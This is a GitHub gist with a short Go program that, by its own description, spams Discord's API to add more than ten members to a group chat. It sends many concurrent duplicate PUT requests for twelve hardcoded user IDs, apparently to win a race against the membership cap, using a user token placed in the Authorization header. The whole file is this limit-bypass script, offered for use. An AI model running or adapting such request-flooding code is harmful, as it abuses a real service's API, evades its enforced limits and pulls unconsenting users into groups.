Last active
January 1, 2018 04:21
-
-
Save SilverCory/5a4b4a37f18a9fa7c7aa868e768f5d79 to your computer and use it in GitHub Desktop.
Invite more than 10 members by spamming discord's api.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| package main | |
| import ( | |
| "fmt" | |
| "io/ioutil" | |
| "net/http" | |
| "strconv" | |
| "time" | |
| ) | |
| func main() { | |
| G := "397208169849290753" | |
| req1 := createRequest(G, "81142055421620224") | |
| req2 := createRequest(G, "311942134603448330") | |
| req3 := createRequest(G, "155954930191040513") | |
| req4 := createRequest(G, "105484726235607040") | |
| req5 := createRequest(G, "237378015141691392") | |
| req6 := createRequest(G, "303391020622544909") | |
| req7 := createRequest(G, "130070621034905600") | |
| req8 := createRequest(G, "93246891319377920") | |
| req9 := createRequest(G, "80821761460928512") | |
| req10 := createRequest(G, "170068244533608450") | |
| req11 := createRequest(G, "296044494812479498") | |
| req12 := createRequest(G, "129908908096487424") | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req1) | |
| processResponse(resp) | |
| fmt.Println("REQ 1 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req2) | |
| processResponse(resp) | |
| fmt.Println("REQ 2 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req3) | |
| processResponse(resp) | |
| fmt.Println("REQ 3 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req4) | |
| processResponse(resp) | |
| fmt.Println("REQ 4 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req5) | |
| processResponse(resp) | |
| fmt.Println("REQ 5 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req6) | |
| processResponse(resp) | |
| fmt.Println("REQ 6 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req7) | |
| processResponse(resp) | |
| fmt.Println("REQ 7 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req8) | |
| processResponse(resp) | |
| fmt.Println("REQ 8 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req9) | |
| processResponse(resp) | |
| fmt.Println("REQ 9 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req10) | |
| processResponse(resp) | |
| fmt.Println("REQ 10 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req11) | |
| processResponse(resp) | |
| fmt.Println("REQ 11 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req12) | |
| processResponse(resp) | |
| fmt.Println("REQ 12 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req1) | |
| processResponse(resp) | |
| fmt.Println("REQ 1 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req9) | |
| processResponse(resp) | |
| fmt.Println("REQ 9 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req2) | |
| processResponse(resp) | |
| fmt.Println("REQ 2 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req3) | |
| processResponse(resp) | |
| fmt.Println("REQ 3 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req4) | |
| processResponse(resp) | |
| fmt.Println("REQ 4 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req5) | |
| processResponse(resp) | |
| fmt.Println("REQ 5 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req6) | |
| processResponse(resp) | |
| fmt.Println("REQ 6 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req7) | |
| processResponse(resp) | |
| fmt.Println("REQ 7 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req8) | |
| processResponse(resp) | |
| fmt.Println("REQ 8 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req10) | |
| processResponse(resp) | |
| fmt.Println("REQ 10 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req11) | |
| processResponse(resp) | |
| fmt.Println("REQ 11 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req12) | |
| processResponse(resp) | |
| fmt.Println("REQ 12 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req1) | |
| processResponse(resp) | |
| fmt.Println("REQ 1 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req2) | |
| processResponse(resp) | |
| fmt.Println("REQ 2 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req3) | |
| processResponse(resp) | |
| fmt.Println("REQ 3 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req8) | |
| processResponse(resp) | |
| fmt.Println("REQ 8 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req4) | |
| processResponse(resp) | |
| fmt.Println("REQ 4 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req5) | |
| processResponse(resp) | |
| fmt.Println("REQ 5 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req6) | |
| processResponse(resp) | |
| fmt.Println("REQ 6 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req7) | |
| processResponse(resp) | |
| fmt.Println("REQ 7 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req9) | |
| processResponse(resp) | |
| fmt.Println("REQ 9 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req10) | |
| processResponse(resp) | |
| fmt.Println("REQ 10 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req11) | |
| processResponse(resp) | |
| fmt.Println("REQ 11 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req12) | |
| processResponse(resp) | |
| fmt.Println("REQ 12 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req1) | |
| processResponse(resp) | |
| fmt.Println("REQ 1 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req2) | |
| processResponse(resp) | |
| fmt.Println("REQ 2 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req3) | |
| processResponse(resp) | |
| fmt.Println("REQ 3 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req4) | |
| processResponse(resp) | |
| fmt.Println("REQ 4 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req5) | |
| processResponse(resp) | |
| fmt.Println("REQ 5 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req6) | |
| processResponse(resp) | |
| fmt.Println("REQ 6 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req7) | |
| processResponse(resp) | |
| fmt.Println("REQ 7 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req8) | |
| processResponse(resp) | |
| fmt.Println("REQ 8 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req9) | |
| processResponse(resp) | |
| fmt.Println("REQ 9 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req10) | |
| processResponse(resp) | |
| fmt.Println("REQ 10 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req11) | |
| processResponse(resp) | |
| fmt.Println("REQ 11 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req12) | |
| processResponse(resp) | |
| fmt.Println("REQ 12 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req1) | |
| processResponse(resp) | |
| fmt.Println("REQ 1 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req2) | |
| processResponse(resp) | |
| fmt.Println("REQ 2 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req3) | |
| processResponse(resp) | |
| fmt.Println("REQ 3 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req4) | |
| processResponse(resp) | |
| fmt.Println("REQ 4 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req5) | |
| processResponse(resp) | |
| fmt.Println("REQ 5 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req6) | |
| processResponse(resp) | |
| fmt.Println("REQ 6 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req7) | |
| processResponse(resp) | |
| fmt.Println("REQ 7 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req8) | |
| processResponse(resp) | |
| fmt.Println("REQ 8 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req9) | |
| processResponse(resp) | |
| fmt.Println("REQ 9 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req10) | |
| processResponse(resp) | |
| fmt.Println("REQ 10 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req11) | |
| processResponse(resp) | |
| fmt.Println("REQ 11 DONE", err) | |
| }() | |
| go func() { | |
| client := http.Client{} | |
| resp, err := client.Do(req12) | |
| processResponse(resp) | |
| fmt.Println("REQ 12 DONE", err) | |
| }() | |
| time.Sleep(time.Second * 1) | |
| } | |
| func createRequest(groupId string, userId string) *http.Request { | |
| ret, err := http.NewRequest("PUT", "https://discordapp.com/api/v6/channels/"+groupId+"/recipients/"+userId, nil) | |
| if err != nil { | |
| panic(err) | |
| } | |
| addHeaders(ret) | |
| return ret | |
| } | |
| func processResponse(resp *http.Response) { | |
| data, _ := ioutil.ReadAll(resp.Body) | |
| fmt.Println(string(data)) | |
| fmt.Println(resp.Status + " -- " + strconv.Itoa(resp.StatusCode)) | |
| } | |
| func addHeaders(r *http.Request) { | |
| r.Header.Add("Authorization", "// TOKEN BRO") | |
| } |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment